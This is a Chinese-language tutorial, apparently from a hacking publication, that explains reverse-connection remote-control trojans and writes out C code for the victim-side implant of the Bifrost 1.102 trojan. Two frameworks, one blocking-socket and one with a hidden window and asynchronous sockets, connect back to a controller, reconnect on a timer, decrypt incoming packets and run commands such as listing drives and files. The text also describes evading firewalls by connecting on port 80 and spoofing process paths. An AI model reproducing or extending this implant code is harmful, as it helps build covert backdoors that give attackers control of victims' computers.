最初开发者为了解决IP变动问题采用的是控制端IP段端口扫描和被控端Email发信通知两种方法,显然这两种效率都是低下的。反弹端口模式由被控端主动连接控制端,做到了以不变或者一变应万变,所有的被控端只要知道控制端的IP和端口就可以主动连接上来。前面说的不变指得是控制端使用固定IP,一变就是控制端是动态IP,通知控制端IP目前主要使用DNS解析和URL转发两种方法。
早期的防火墙对内部发起的连接请求无条件信任,反弹端口模型就是利用了这个弱点来穿透防火墙。另外当反弹连接的端口为80的时候,也可以欺骗检查连接状态的用户,让其误以为是正常的Web访问连接。当然现在的防火墙早以是内外兼修了,因此现在很多远控的服务端通过远程注入或者修改PEB伪造进程路径为防火墙进程来达到欺骗和突破防火墙的目的。
言归正传,在有了反弹端口模式背景知识和基本原理之后,笔者介绍两种自己经常使用的反弹端口模式实现代码。一是基于阻塞SOCKET的反弹框架,另是基于异步选择SOCKET的反弹框架。这里笔者特意选择实现Bifrost1.102(彩虹桥木马)的被控端来增加本文的趣味性和成就感。
先看阻塞SOCKET的反弹框架。反弹模式中一般都有断线重连机制,这里使用循环来不断发起连接。代码如下:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//初始化WSA
WSADATA lpWSAData;
WSAStartup(MAKEWORD(1, 1), &lpWSAData);
while (1)
{
//开启连接控制端线程,并等待线程结束
HANDLE hThread;
DWORD dwThreadID;
hThread = CreateThread(NULL, 0, ConnectThread, NULL, 0, &dwThreadID);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
//休息10秒后再次发起连接
Sleep(10000);
}
// 卸载WSA
WSACleanup();
return 0;
}
在ConnectThread线程里先连接控制端,连接成功后循环读取命令指令并分配执行。代码如下:
DWORD _stdcall ConnectThread(LPVOID lParam)
{
SOCKET hSocket;
struct sockaddr_in LocalAddr;
hSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(2000);
LocalAddr.sin_addr.S_un.S_addr=resolve("127.0.0.1");
// 连接远程地址
if( connect(hSocket, (PSOCKADDR)&LocalAddr, sizeof(LocalAddr)) == S_OK)
{
BYTE RecvBuf[8192];
DWORD dwBufferLen;
int iTimeOut = 180, iResult;
BOOL bContinue = TRUE;
if(!SendOnlineMsg(hSocket))//发送在线信息
return 0;
while(bContinue)
{
//读取数据长度
iResult = RecvBuffer(
hSocket,
(unsigned char*)&dwBufferLen,
sizeof(DWORD),
iTimeOut);
if (iResult <0)
break;
if(iResult >0)
{
if (dwBufferLen > 8192 )
break;
//读取数据包,dwBufferLen是前面读取的数据包长度
iResult = RecvBuffer(hSocket, RecvBuf, dwBufferLen, iTimeOut);
if (iResult <= 0)
break;
EnDeCode(RecvBuf, dwBufferLen, szKeyBuffer, sizeof(szKeyBuffer));
}
switch(RecvBuf[0])
{
case CMD_PingRequest: //心跳包处理
{
if (!SendBuffer(hSocket, CMD_PingReprose, NULL, 0))
bContinue = FALSE;
}
break;
case CSocket_ListDrive://获取驱动器信息
{
if (!GetDriveList(hSocket))
bContinue = FALSE;
}
break;
case CSocket_ListFile://获取目录信息
{
if (!GetListPathFile(hSocket, (char*)&RecvBuf[1]))
bContinue = FALSE;
}
break;
//其他命令略……
default:
break;
}
}
}
//清空网络数据,关闭句柄
shutdown(hSocket, 0x02);
closesocket(hSocket);
return 0;
}
因为Bifrost1.102的封包结构由三部分组成:数据长度(四字节)、命令(1字节)、数据包内容(若干字节),所以我们看到在ConnectThread线程里看到是先接收读取数据包长度,再接收读取具体的数据包。
通过上面的代码我们也能看出阻塞SOCKET模式的特点,当然就是阻塞了,没有接收到命令前就会阻塞等待,没有时间去做其他工作。
再看看异步选择SOCKET的反弹模式。这个反弹模式利用Socket I/O中的WSAAsyncSelect模型。使用这个模型,Windows会把网络事件以消息的形势通知应用程序。先看看WSAAsyncSelect的定义:
int PASCAL FAR WSAAsyncSelect ( SOCKET s, HWND hWnd,
unsigned int wMsg, long lEvent );
hWnd是接收消息的窗口句柄,wMsg就是关联的消息,lEvent为关心的网络事件集合。
首先我们定义一个消息常量:
#define WM_SOCKET WM_USER+1000
然后创建一个不可见的窗口来接收消息。代码如下:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//创建一个不可见的窗口
HWND hWnd;
WNDCLASS wndc;
memset(&wndc,0,sizeof(WNDCLASS));
wndc.lpfnWndProc=WndProc;//窗口消息处理回调函数
wndc.lpszClassName="Bifrost1.102";
RegisterClass(&wndc);
hWnd=CreateWindow("Bifrost1.102","Bifrost1.102",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,NULL,NULL);
ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);
//开始上线线程,传递窗口句柄
::CreateThread(NULL, 0, SocketConnectProc, hWnd, 0, NULL);
//消息循环
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 1;
}
SocketConnectProc是上线连接线程,每30秒检测是否断线,如果断线就重新连接并关联Socket和消息。代码如下:
unsigned long CALLBACK SocketConnectProc(LPVOID pParam)
{
//获取窗口句柄
HWND hWnd = (HWND)pParam;
struct sockaddr_in TargAddr;
while (1)
{
if(connect(hSocket,(sockaddr*)&TargAddr,sizeof(TargAddr))==SOCKET_ERROR )
{
//10056错误,表示socket已连接
if (g_bConnect && ::WSAGetLastError() == 10056)
{ //休息30秒后再测试
Sleep(30000);
continue;
}
else
{
shutdown(hSocket,0x02);
closesocket(hSocket);
}
hSocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
memset(&TargAddr,0,sizeof(TargAddr));
TargAddr.sin_family=AF_INET;
TargAddr.sin_port=htons(CStr_MasterPort);
TargAddr.sin_addr.S_un.S_addr=resolve(CStr_MasterAddress1);
}
else//连接成功
{
//关联Socket,注册感兴趣的网络事件
WSAAsyncSelect(hSocket,hWnd,WM_SOCKET,FD_READ|FD_CLOSE);
if(SendOnlineMsg(hSocket))//发送在线信息
g_bConnect = TRUE;
}
}
return 0;
}
//*************************************************
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
switch(message)
{
case WM_CREATE:
{
WSADATA WsaData;
WSAStartup(MAKEWORD(2,0),&WsaData);
}
break;
case WM_SOCKET: //收到WM_SOCKET消息
if(WSAGETSELECTERROR(lParam))
{
closesocket(wParam);
break;
}
switch(WSAGETSELECTEVENT(lParam))
{
//读取输入
case FD_READ:
{
BYTE RecvBuf[8192];
DWORD dwBufferLen;
int iTimeOut = 180,iResult;
//读取数据长度
iResult = RecvBuffer(hSocket,
(unsigned char*)&dwBufferLen,
sizeof(DWORD),
iTimeOut);
if (iResult <=0)
break;
if (dwBufferLen > 8192 )
break;
//读取数据包,dwBufferLen是前面读取的数据包长度
iResult = RecvBuffer(hSocket, RecvBuf, dwBufferLen, iTimeOut);
if (iResult <= 0)
break;
//数据解密
EnDeCode(RecvBuf, dwBufferLen, szKeyBuffer, sizeof(szKeyBuffer));
//命令解析与处理
switch(RecvBuf[0])
{
//实现同上,具体看代码
}
}
break;
case FD_CLOSE:
{
closesocket(wParam);
}
break;
}
break;
case WM_DESTROY:
{
PostQuitMessage(0);
WSACleanup();
}
break;
default:
return DefWindowProc(hWnd,message,wParam,lParam);
}
return 0;
}
异步选择模式的特点是,非阻塞Socket,有消息通知时才接收数据,节省资源。有窗口,可以接收窗口消息,比如接收WM_TIMER消息来使用定时器,WM_DEVICECHANGE消息来侦测USB设备消息的插入拔出,这些比使用线程要简单高效多了。
本文采用了两种不同的框架代码,实现了Bifrost反弹端口上线的服务端,最后欣赏下我们的战果(图3)。